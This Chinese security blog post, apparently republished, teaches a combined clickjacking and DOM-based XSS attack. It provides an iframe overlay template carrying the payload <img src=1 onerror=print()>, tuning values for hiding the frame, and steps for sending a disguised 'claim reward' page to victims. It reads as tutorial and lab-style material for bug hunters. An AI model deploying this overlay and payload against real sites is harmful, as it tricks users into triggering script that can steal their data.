文章总结： 文章介绍点击劫持与DOM型XSS的组合攻击技术，通过iframe覆盖伪装诱饵按钮诱导用户触发XSS漏洞。详细提供攻击代码模板及参数调整方法（如宽高、位置、透明度配置），演示从漏洞利用服务器部署到受害者触发的完整流程，强调该组合技将主动触发漏洞转化为无意识操作的有效性。 综合评分： 85 文章分类： WEB安全,实战经验,漏洞分析,红队,社会工程学

点击劫持遇上DOM型XSS，赏金猎人的组合拳就该这么打

原创

升斗安全XiuXiu 升斗安全XiuXiu

升斗安全

2026年6月17日 08:18 广东

在小说阅读器读本章

去阅读

【文章说明】

• 目的：本文内容仅为网络安全技术研究与教育目的而创作。
• 红线：严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
• 责任：任何对本文技术的滥用所引发的后果自负，与本公众号及作者无关。
• 免责：内容仅供参考，作者不对其准确性、完整性作任何担保。

阅读即代表您同意以上条款。

您是否想过，看似简单的点击劫持，一旦与 DOM 型 XSS 产生化学反应，会爆发出怎样的威力？

过去我们总觉得点击劫持无非是偷偷刷几个赞，但真正的猎人都知道，当它成为 XSS 的“特洛伊木马”时，好戏才真正开场。

假设你已经在目标站点锁定了一处 DOM 型 XSS，接下来要做的，就是让受害者心甘情愿地点下去。而点击劫持，恰好能把这个“点下去”的动作，伪装成任何一个你想让他看到的东西。

具体怎么玩？跟我一步步来。

首先，进入你的漏洞利用服务器，把下面这套组合拳代码贴进 Body 区域：

<style>&nbsp; &nbsp;&nbsp;iframe&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;position:relative;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;width:$width_value;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;height: $height_value;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;opacity: $opacity;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;z-index:&nbsp;2;&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;div&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;position:absolute;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;top:$top_value;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;left:$side_value;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;z-index:&nbsp;1;&nbsp; &nbsp; }</style><div>测试我</div><iframesrc="target.com/feedback?name=<img src=1 onerror=print()>&[email protected]&subject=test&message=test#feedbackResult"></iframe>

别急着跑，咱们得给它“量体裁衣”：

• 把target.com 换成你实际的目标地址，让 URL 精准瞄准“提交反馈”页面。

• $height_value 和 $width_value 控制 iframe 的宽高，700px 和 500px 是个不错的起点，你可以按需微调。

• $top_value 和 $side_value 是用来微调诱饵位置的魔法数字，目的就是让那个无害的“测试我”，完美叠在“提交反馈”按钮的正上方。可以试试 610px 和 80px。

• 透明度 $opacity 建议先设成 0.1，方便你调试对齐，等一切就绪了，再偷偷改成 0.0001——肉眼根本察觉不到，但点击可是实打实的。

  

接下来就是见证奇迹的时刻：

将以上脚本内容在自己的渗透服务器上运行，看看效果。执行后，在打开的网页中把鼠标悬停在“测试我”上。如果指针变成了小手，恭喜你，叠得刚刚好。如果没变，别急，调一下 top 和 left 的数值，直到小手出现为止。

确认无误后，轻轻点一下“测试我”——看到打印对话框弹出来的那一刻，你就知道，通道已经打通了。

最后一步，把诱饵文字从“测试我”换成“点击我”（或者更诱人的，比如“领取奖励”），确认脚本OK后，就可以将自己精心布置的恶意页面发送给受害者了。

受害者一旦点下去，你的 XSS 弹窗就会在受害者浏览器里乖乖执行，想要获取的信息也就随之拿下。

这个组合技之所以好用，就在于它把一个需要主动触发的漏洞，变成了受害者无意识下的“顺手一点”。真正的攻击，往往藏在你根本不会多看第二眼的地方。

如果这篇实战分享对你有启发，不妨点个「赞」和「在看」，转发给身边一起挖洞的兄弟，让他们也提提速。还没关注的朋友，记得点个关注，后续还有更多硬核技巧等你来拿！

❤️往期推荐❤️

别只看书了！CTF免费资源+在线靶场福利，这才是赏金猎人的训练营

免费打造你的渗透测试 AI助手：Burpsuite+Ollama+本地大模型 → AI辅助分析，赏金猎人高效挖洞（脚本已打包）

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：升斗安全 升斗安全XiuXiu 升斗安全XiuXiu《点击劫持遇上DOM型XSS，赏金猎人的组合拳就该这么打》